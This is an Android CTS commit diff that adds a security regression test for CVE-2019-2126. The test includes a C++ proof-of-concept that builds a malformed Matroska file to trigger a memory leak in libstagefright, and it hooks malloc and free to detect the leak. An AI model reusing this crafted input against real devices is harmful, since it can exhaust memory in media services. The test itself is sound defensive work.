[RESTRICT AUTOMERGE] CTS test for Android Security b/127702368
Bug: 127702368
Bug: 135207514
Test: Ran the new testcase on android-8.0.0_r21 with/without patch
Change-Id: I665ccd29a697df19f8e2126cc07c4f38fe528c65
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 9d0c01a..136f44e 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -227,6 +227,11 @@
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
<option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
+ <!--__________________-->
+ <!-- Bulletin 2019-08 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2019-2126->/data/local/tmp/CVE-2019-2126" />
+
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk
new file mode 100644
index 0000000..6b5564f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2126
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_C_INCLUDES := frameworks/av/media/libstagefright
+LOCAL_C_INCLUDES += external/libvpx/libwebm
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
new file mode 100644
index 0000000..af3f9a0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
@@ -0,0 +1,149 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <sys/mman.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSource.h>
+#include "matroska/MatroskaExtractor.h"
+#include "../includes/common.h"
+
+using namespace android;
+#define LEAK_SIZE 16000000
+#define LEAK_DATA 0x61
+#define TMP_FILE "/data/local/tmp/temp_cve_2019_2126"
+#define MAX_ENTRIES 1024
+void check_memleak(void);
+
+#define ALLOCATED_STATE 1
+#define FREED_STATE 2
+
+unsigned char mkvDataStart[] = { 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A,
+ 0x42, 0x82, 0x10, 0x00, 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53,
+ 0x80, 0x67, 0x10, 0xF4, 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4,
+ 0x24, 0x41, 0xAE, 0x10, 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81,
+ 0x01, 0xE0, 0x10, 0x00, 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10,
+ 0xF4, 0x24, 0x28, 0x62, 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10,
+ 0xF4, 0x24, 0x19, 0x42, 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24,
+ 0x00 };
+
+unsigned char mkvDataEnd[] = { 0x42, 0x55, 0x81, 0x61, 0x42, 0x54, 0x88, 0xFF,
+ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80 };
+
+typedef struct {
+ void* ptr;
+ size_t size;
+ int status;
+ int index;
+} allocated_mem_ptr;
+
+static void* (*real_malloc)(unsigned long) = NULL;
+static void (*real_free)(void *) = NULL;
+static int s_memutils_initialized = 0;
+static int index = 0;
+static allocated_mem_ptr mem_ptrs[MAX_ENTRIES] = { { 0, 0, 0, 0 } };
+
+void exit_handler(void) {
+ remove(TMP_FILE);
+ check_memleak();
+}
+
+void memutils_init(void) {
+ real_malloc = (void *(*)(unsigned long))dlsym(RTLD_NEXT, "malloc");
+ if (real_malloc == NULL) {
+ return;
+ }
+ real_free = (void (*)(void *))dlsym(RTLD_NEXT, "free");
+ if (real_free == NULL) {
+ return;
+ }
+ atexit(exit_handler);
+ s_memutils_initialized = 1;
+}
+
+void *malloc(size_t size) {
+ void* mem_ptr = NULL;
+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+ if (size != LEAK_SIZE) {
+ return real_malloc(size);
+ }
+ if (index >= MAX_ENTRIES) {
+ return real_malloc(size);
+ }
+ mem_ptr = real_malloc(size);
+ mem_ptrs[index].ptr = mem_ptr;
+ mem_ptrs[index].status = ALLOCATED_STATE;
+ mem_ptrs[index].size = size;
+ mem_ptrs[index].index = index;
+ index++;
+ return mem_ptr;
+}
+
+void free(void *ptr) {
+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+ if (ptr) {
+ for (int i = 0; i < MAX_ENTRIES; i++) {
+ if (ptr == mem_ptrs[i].ptr) {
+ if ((i == mem_ptrs[i].index)
+ && (mem_ptrs[i].status != FREED_STATE)) {
+ real_free(ptr);
+ mem_ptrs[i].status = FREED_STATE;
+ return;
+ }
+ }
+ }
+ }
+ real_free(ptr);
+ return;
+}
+
+void check_memleak(void) {
+ for (int i = 0; i < MAX_ENTRIES; i++) {
+ if (mem_ptrs[i].status == ALLOCATED_STATE) {
+ exit (EXIT_VULNERABLE);
+ }
+ }
+ return;
+}
+
+int main() {
+ FILE* fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_SUCCESS;
+ }
+
+ char *appendArray = (char *) malloc(LEAK_SIZE);
+ memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
+
+ /* Read mkv stream */
+ fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
+
+ /* Append a bitstream which causes memory leak */
+ fwrite(appendArray, 1, LEAK_SIZE, fp);
+ fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
+ free((void *) appendArray);
+ fclose(fp);
+
+ sp < DataSource > dataSource = DataSource::CreateFromURI(NULL, TMP_FILE);
+ if (dataSource != nullptr) {
+ new MatroskaExtractor(dataSource);
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 8978ef5..3ce50f4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -51,6 +51,15 @@
******************************************************************************/
/**
+ * b/127702368
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ public void testPocCVE_2019_2126() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
+ }
+
+ /**
* b/36389123
* Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/